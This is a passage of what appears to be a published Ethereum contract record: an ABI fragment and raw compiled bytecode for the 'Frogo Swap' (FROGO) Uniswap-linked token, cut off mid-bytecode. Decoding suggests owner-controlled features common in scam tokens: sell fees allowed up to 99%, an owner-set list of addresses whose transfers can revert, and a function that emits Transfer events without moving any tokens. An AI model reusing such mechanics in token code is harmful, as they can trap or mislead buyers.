IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"}],"name":"updateBuyFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newTxnNum","type":"uint256"},{"internalType":"uint256","name":"newMaxWalletNum","type":"uint256"}],"name":"updateMaxWalletAndTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"}],"name":"updateSellFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"updateSwapTokensAtAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040523480156200001157600080fd5b5060405162005c6b38038062005c6b8339818101604052810190620000379190620009b0565b806040518060400160405280600a81526020017f46726f676f2053776170000000000000000000000000000000000000000000008152506040518060400160405280600581526020017f46524f474f0000000000000000000000000000000000000000000000000000008152508160039081620000b5919062000c5c565b508060049081620000c7919062000c5c565b50505080600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506200012b6200011f620003d960201b60201c565b620003e160201b60201c565b506000737a250d5630b4cf539739df2c5dacb4c659f2488d905062000158816001620004a760201b60201c565b8073ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff16815250506000600a905060008060289050600080620001ac6200059160201b60201c565b600a620001ba919062000ed3565b620f4240620001ca919062000f24565b9050620001dc6200059160201b60201c565b600a620001ea919062000ed3565b630bebc200620001fb919062000f24565b600a81905550620002116200059160201b60201c565b600a6200021f919062000ed3565b6311e1a30062000230919062000f24565b600c81905550612710600a8262000248919062000f24565b62000254919062000f9e565b600b8190555083600e8190555084600f81905550600e54600f546200027a919062000fd6565b6010819055508160148190555082601381905550601454601354620002a0919062000fd6565b60128190555060125460118190555030600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555062000312620003046200059a60201b60201c565b6001620005c460201b60201c565b62000325306001620005c460201b60201c565b6200033a61dead6001620005c460201b60201c565b6200035c6200034e6200059a60201b60201c565b6001620004a760201b60201c565b6200036f306001620004a760201b60201c565b6200038461dead6001620004a760201b60201c565b6001600d60006101000a81548160ff0219169083151502179055506001600d60026101000a81548160ff021916908315150217905550620003cc3382620006fe60201b60201c565b505050505050506200116e565b600033905090565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b620004b7620003d960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16620004dd6200087660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff161462000536576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200052d9062001072565b60405180910390fd5b80601860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60006009905090565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b620005d4620003d960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16620005fa6200087660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff161462000653576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200064a9062001072565b60405180910390fd5b80601760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df782604051620006f29190620010b1565b60405180910390a25050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000770576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000767906200111e565b60405180910390fd5b62000784600083836200089260201b60201c565b806002600082825462000798919062000fd6565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254620007ef919062000fd6565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000856919062001151565b60405180910390a362000872600083836200089760201b60201c565b5050565b600080620008896200089c60201b60201c565b90508091505090565b505050565b505050565b60008073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146200091d57600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1662000941565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000978826200094b565b9050919050565b6200098a816200096b565b81146200099657600080fd5b50565b600081519050620009aa816200097f565b92915050565b600060208284031215620009c957620009c862000946565b5b6000620009d98482850162000999565b91505092915050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000a6457607f821691505b60208210810362000a7a5762000a7962000a1c565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b60006008830262000ae47fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000aa5565b62000af0868362000aa5565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000b3d62000b3762000b318462000b08565b62000b12565b62000b08565b9050919050565b6000819050919050565b62000b598362000b1c565b62000b7162000b688262000b44565b84845462000ab2565b825550505050565b600090565b62000b8862000b79565b62000b9581848462000b4e565b505050565b5b8181101562000bbd5762000bb160008262000b7e565b60018101905062000b9b565b5050565b601f82111562000c0c5762000bd68162000a80565b62000be18462000a95565b8101602085101562000bf1578190505b62000c0962000c008562000a95565b83018262000b9a565b50505b505050565b600082821c905092915050565b600062000c316000198460080262000c11565b1980831691505092915050565b600062000c4c838362000c1e565b9150826002028217905092915050565b62000c6782620009e2565b67ffffffffffffffff81111562000c835762000c82620009ed565b5b62000c8f825462000a4b565b62000c9c82828562000bc1565b600060209050601f83116001811462000cd4576000841562000cbf578287015190505b62000ccb858262000c3e565b86555062000d3b565b601f19841662000ce48662000a80565b60005b8281101562000d0e5784890151825560018201915060208501945060208101905062000ce7565b8683101562000d2e578489015162000d2a601f89168262000c1e565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000dd15780860481111562000da95762000da862000d43565b5b600185161562000db95780820291505b808102905062000dc98562000d72565b945062000d89565b94509492505050565b60008262000dec576001905062000ebf565b8162000dfc576000905062000ebf565b816001811462000e15576002811462000e205762000e56565b600191505062000ebf565b60ff84111562000e355762000e3462000d43565b5b8360020a91508482111562000e4f5762000e4e62000d43565b5b5062000ebf565b5060208310610133831016604e8410600b841016171562000e905782820a90508381111562000e8a5762000e8962000d43565b5b62000ebf565b62000e9f848484600162000d7f565b9250905081840481111562000eb95762000eb862000d43565b5b81810290505b9392505050565b600060ff82169050919050565b600062000ee08262000b08565b915062000eed8362000ec6565b925062000f1c7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000dda565b905092915050565b600062000f318262000b08565b915062000f3e8362000b08565b925082820262000f4e8162000b08565b9150828204841483151762000f685762000f6762000d43565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000fab8262000b08565b915062000fb88362000b08565b92508262000fcb5762000fca62000f6f565b5b828204905092915050565b600062000fe38262000b08565b915062000ff08362000b08565b92508282019050808211156200100b576200100a62000d43565b5b92915050565b600082825260208201905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006200105a60208362001011565b9150620010678262001022565b602082019050919050565b600060208201905081810360008301526200108d816200104b565b9050919050565b60008115159050919050565b620010ab8162001094565b82525050565b6000602082019050620010c86000830184620010a0565b92915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062001106601f8362001011565b91506200111382620010ce565b602082019050919050565b600060208201905081810360008301526200113981620010f7565b9050919050565b6200114b8162000b08565b82525050565b600060208201905062001168600083018462001140565b92915050565b608051614abe620011ad60003960008181610ac8015281816130200152818161310101528181613128015281816131c401526131eb0152614abe6000f3fe6080604052600436106102295760003560e01c806375f0a87411610123578063bbc0c742116100ab578063d85ba0631161006f578063d85ba0631461083c578063dd62ed3e14610867578063e2f45605146108a4578063f2fde38b146108cf578063f8b45b05146108f857610230565b8063bbc0c74214610757578063c024666814610782578063c2b7bbb6146107ab578063c8c8ebe4146107d4578063d257b34f146107ff57610230565b80639a7a23d6116100f25780639a7a23d61461064c578063a457c2d714610675578063a64e4f8a146106b2578063a9059cbb146106dd578063b8e3ed441461071a57610230565b806375f0a874146105a25780638da5cb5b146105cd57806395d89b41146105f8578063961883991461062357610230565b8063338d4669116101b15780636a486a8e116101755780636a486a8e146104cf5780636ddd1713146104fa57806370a0823114610525578063715018a6146105625780637571336a1461057957610230565b8063338d4669146103d8578063395093511461040157806349bd5a5e1461043e5780634fbee1931461046957806366ca9b83146104a657610230565b806318160ddd116101f857806318160ddd146102f157806323b872dd1461031c57806326ededb81461035957806327c8f83514610382578063313ce567146103ad57610230565b806302dbd8f81461023557806306fdde031461025e578063095ea7b3146102895780631694505e146102c657610230565b3661023057005b600080fd5b34801561024157600080fd5b5061025c600480360381019061025791906132da565b610923565b005b34801561026a57600080fd5b50610273610a16565b60405161028091906133aa565b60405180910390f35b34801561029557600080fd5b506102b060048036038101906102ab919061342a565b610aa8565b6040516102bd9190613485565b60405180910390f35b3480156102d257600080fd5b506102db610ac6565b6040516102e891906134ff565b60405180910390f35b3480156102fd57600080fd5b50610306610aea565b6040516103139190613529565b60405180910390f35b34801561032857600080fd5b50610343600480360381019061033e9190613544565b610af4565b6040516103509190613485565b60405180910390f35b34801561036557600080fd5b50610380600480360381019061037b91906135fc565b610bec565b005b34801561038e57600080fd5b50610397610d3d565b6040516103a4919061366b565b60405180910390f35b3480156103b957600080fd5b506103c2610d43565b6040516103cf91906136a2565b60405180910390f35b3480156103e457600080fd5b506103ff60048036038101906103fa91906136e9565b610d4c565b005b34801561040d57600080fd5b506104286004803603810190610423919061342a565b610e6d565b6040516104359190613485565b60405180910390f35b34801561044a57600080fd5b50610453610f19565b604051610460919061366b565b60405180910390f35b34801561047557600080fd5b50610490600480360381019061048b9190613749565b610f3f565b60405161049d9190613485565b60405180910390f35b3480156104b257600080fd5b506104cd60048036038101906104c891906132da565b610f95565b005b3480156104db57600080fd5b506104e461107f565b6040516104f19190613529565b60405180910390f35b34801561050657600080fd5b5061050f611085565b60405161051c9190613485565b60405180910390f35b34801561053157600080fd5b5061054c60048036038101906105479190613749565b611098565b6040516105599190613529565b60405180910390f35b34801561056e57600080fd5b506105776110e0565b005b34801561058557600080fd5b506105a0600480360381019061059b9190613776565b611168565b005b3480156105ae57600080fd5b506105b761123f565b6040516105c4919061366b565b60405180910390f35b3480156105d957600080fd5b506105e2611265565b6040516105ef919061366b565b60405180910390f35b34801561060457600080fd5b5061060d61128f565b60405161061a91906133aa565b60405180910390f35b34801561062f57600080fd5b5061064a600480360381019061064591906132da565b611321565b005b34801561065857600080fd5b50610673600480360381019061066e9190613776565b611505565b005b34801561068157600080fd5b5061069c6004803603810190610697919061342a565b611629565b6040516106a99190613485565b60405180910390f35b3480156106be57600080fd5b506106c7611714565b6040516106d49190613485565b60405180910390f35b3480156106e957600080fd5b5061070460048036038101906106ff919061342a565b611727565b6040516107119190613485565b60405180910390f35b34801561072657600080fd5b50610741600480360381019061073c9190613749565b611745565b60405161074e9190613485565b60405180910390f35b34801561076357600080fd5b5061076c61179b565b6040516107799190613485565b60405180910390f35b34801561078e57600080fd5b506107a960048036038101906107a49190613776565b6117ae565b005b3480156107b757600080fd5b506107d260048036038101906107cd9190613749565b6118d3565b005b3480156107e057600080fd5b506107e9611993565b6040516107f69190613529565b60405180910390f35b34801561080b57600080fd5b50610826600480360381019061082191906137b6565b611999565b6040516108339190613485565b60405180910390f35b34801561084857600080fd5b50610851611aee565b60405161085e9190613529565b60405180910390f35b34801561087357600080fd5b5061088e600480360381019061088991906137e3565b611af4565b60405161089b9190613529565b60405180910390f35b3480156108b057600080fd5b506108b9611b7b565b6040516108c69190613529565b60405180910390f35b3480156108db57600080fd5b506108f660048036038101906108f19190613749565b611b81565b005b34801561090457600080fd5b5061090d611c78565b60405161091a9190613529565b60405180910390f35b61092b611c7e565b73ffffffffffffffffffffffffffffffffffffffff16610949611c86565b73ffffffffffffffffffffffffffffffffffffffff161461099f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109969061386f565b60405180910390fd5b81601381905550806014819055506014546013546109bd91906138be565b60128190555060125460118190555060636012541115610a12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a099061393e565b60405180910390fd5b5050565b606060038054610a259061398d565b80601f0160208091040260200160405190810160405280929190818152602001828054610a519061398d565b8015610a9e5780601f10610a7357610100808354040283529160200191610a9e565b820191906000526020600020905b815481529060010190602001808311610a8157829003601f168201915b5050505050905090565b6000610abc610ab5611c7e565b8484611c9a565b6001905092915050565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000600254905090565b6000610b01848484611e63565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610b4c611c7e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610bcc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bc390613a30565b60405180910390fd5b610be085610bd8611c7e565b858403611c9a565b60019150509392505050565b610bf4611c7e565b73ffffffffffffffffffffffffffffffffffffffff16610c12611c86565b73ffffffffffffffffffffffffffffffffffffffff1614610c68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5f9061386f565b60405180910390fd5b60005b83839050811015610d3757838382818110610c8957610c88613a50565b5b9050602002016020810190610c9e9190613749565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610d1c9190613529565b60405180910390a38080610d2f90613a7f565b915050610c6b565b50505050565b61dead81565b60006009905090565b610d54611c7e565b73ffffffffffffffffffffffffffffffffffffffff16610d72611c86565b73ffffffffffffffffffffffffffffffffffffffff1614610dc8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dbf9061386f565b60405180910390fd5b60005b83839050811015610e67578160076000868685818110610dee57610ded613a50565b5b9050602002016020810190610e039190613749565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610e5f90613a7f565b915050610dcb565b50505050565b6000610f0f610e7a611c7e565b848460016000610e88611c7e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f0a91906138be565b611c9a565b6001905092915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b610f9d611c7e565b73ffffffffffffffffffffffffffffffffffffffff16610fbb611c86565b73ffffffffffffffffffffffffffffffffffffffff1614611011576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110089061386f565b60405180910390fd5b81600f8190555080600e81905550600e54600f5461102f91906138be565b6010819055506014601054111561107b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107290613b13565b60405180910390fd5b5050565b60125481565b600d60029054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6110e8611c7e565b73ffffffffffffffffffffffffffffffffffffffff16611106611c86565b73ffffffffffffffffffffffffffffffffffffffff161461115c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111539061386f565b60405180910390fd5b611166600061289a565b565b611170611c7e565b73ffffffffffffffffffffffffffffffffffffffff1661118e611c86565b73ffffffffffffffffffffffffffffffffffffffff16146111e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111db9061386f565b60405180910390fd5b80601860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606004805461129e9061398d565b80601f01602080910402602001604051908101604052809291908181526020018280546112ca9061398d565b80156113175780601f106112ec57610100808354040283529160200191611317565b820191906000526020600020905b8154815290600101906020018083116112fa57829003601f168201915b5050505050905090565b611329611c7e565b73ffffffffffffffffffffffffffffffffffffffff16611347611c86565b73ffffffffffffffffffffffffffffffffffffffff161461139d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113949061386f565b60405180910390fd5b6113a5610d43565b600a6113b19190613c66565b6103e860056113be610aea565b6113c89190613cb1565b6113d29190613d22565b6113dc9190613d22565b82101561141e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161141590613dc5565b60405180910390fd5b611426610d43565b600a6114329190613c66565b6103e8600561143f610aea565b6114499190613cb1565b6114539190613d22565b61145d9190613d22565b81101561149f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149690613e57565b60405180910390fd5b6114a7610d43565b600a6114b39190613c66565b600a6114bf9190613e77565b816114ca9190613cb1565b600c819055506114d8610d43565b600a6114e49190613c66565b600a6114f09190613e77565b826114fb9190613cb1565b600a819055505050565b61150d611c7e565b73ffffffffffffffffffffffffffffffffffffffff1661152b611c86565b73ffffffffffffffffffffffffffffffffffffffff1614611581576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115789061386f565b60405180910390fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611611576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161160890613f34565b60405180910390fd5b61161b8282611168565b6116258282612960565b5050565b60008060016000611638611c7e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156116f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ec90613fc6565b60405180910390fd5b611709611700611c7e565b85858403611c9a565b600191505092915050565b600d60019054906101000a900460ff1681565b600061173b611734611c7e565b8484611e63565b6001905092915050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600d60009054906101000a900460ff1681565b6117b6611c7e565b73ffffffffffffffffffffffffffffffffffffffff166117d4611c86565b73ffffffffffffffffffffffffffffffffffffffff161461182a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118219061386f565b60405180910390fd5b80601760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7826040516118c79190613485565b60405180910390a25050565b6118db611c7e565b73ffffffffffffffffffffffffffffffffffffffff166118f9611c86565b73ffffffffffffffffffffffffffffffffffffffff161461194f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119469061386f565b60405180910390fd5b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600a5481565b60006119a3611c7e565b73ffffffffffffffffffffffffffffffffffffffff166119c1611c86565b73ffffffffffffffffffffffffffffffffffffffff1614611a17576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a0e9061386f565b60405180910390fd5b620186a06001611a25610aea565b611a2f9190613cb1565b611a399190613d22565b821015611a7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7290614058565b60405180910390fd5b6103e86005611a88610aea565b611a929190613cb1565b611a9c9190613d22565b821115611ade576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ad5906140ea565b60405180910390fd5b81600b8190555060019050919050565b60105481565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600b5481565b611b89611c7e565b73ffffffffffffffffffffffffffffffffffffffff16611ba7611c86565b73ffffffffffffffffffffffffffffffffffffffff1614611bfd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bf49061386f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611c6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c639061417c565b60405180910390fd5b611c758161289a565b50565b600c5481565b600033905090565b600080611c91612a01565b90508091505090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611d09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d009061420e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611d78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d6f906142a0565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611e569190613529565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611ed2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ec99061430c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611f41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f3890614378565b60405180910390fd5b60008103611f5a57611f5583836000612aa9565b612895565b611f62611265565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611fd05750611fa0611265565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120095750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612043575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561205c5750600860149054906101000a900460ff16155b1561239057600d60009054906101000a900460ff1661215657601760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806121165750601760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612155576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161214c906143e4565b60405180910390fd5b5b601960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156121f95750601860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156122a057600a54811115612243576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161223a90614476565b60405180910390fd5b600c5461224f83611098565b8261225a91906138be565b111561229b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612292906144e2565b60405180910390fd5b61238f565b601960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156123435750601860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561238e57600a5481111561238d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161238490614574565b60405180910390fd5b5b5b5b600061239b30611098565b90506000600b5482101590508080156123c05750600d60029054906101000a900460ff165b80156123d95750600860149054906101000a900460ff16155b801561242f5750601960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156124855750601760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156124db5750601760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561251f576001600860146101000a81548160ff021916908315150217905550612503612d28565b6000600860146101000a81548160ff0219169083151502179055505b6000600860149054906101000a900460ff16159050601760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806125d55750601760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806125ed5750600d60019054906101000a900460ff16155b1561264e57600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561264957600080fd5b600090505b6000811561287c576001600d60016101000a81548160ff021916908315150217905550601960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156126cc57506000601254115b15612766576126f960646126eb60125488612f3590919063ffffffff16565b612f4b90919063ffffffff16565b90506012546014548261270c9190613cb1565b6127169190613d22565b6016600082825461272791906138be565b925050819055506012546013548261273f9190613cb1565b6127499190613d22565b6015600082825461275a91906138be565b92505081905550612858565b601960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156127c157506000601054115b15612857576127ee60646127e060105488612f3590919063ffffffff16565b612f4b90919063ffffffff16565b9050601054600e54826128019190613cb1565b61280b9190613d22565b6016600082825461281c91906138be565b92505081905550601054600f54826128349190613cb1565b61283e9190613d22565b6015600082825461284f91906138be565b925050819055505b5b600081111561286d5761286c873083612aa9565b5b80856128799190614594565b94505b612887878787612aa9565b601154601281905550505050505b505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b80601960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b60008073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612a8057600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612aa4565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612b18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b0f9061463a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612b87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b7e906146cc565b60405180910390fd5b612b92838383612f61565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612c18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c0f9061475e565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612cab91906138be565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612d0f91906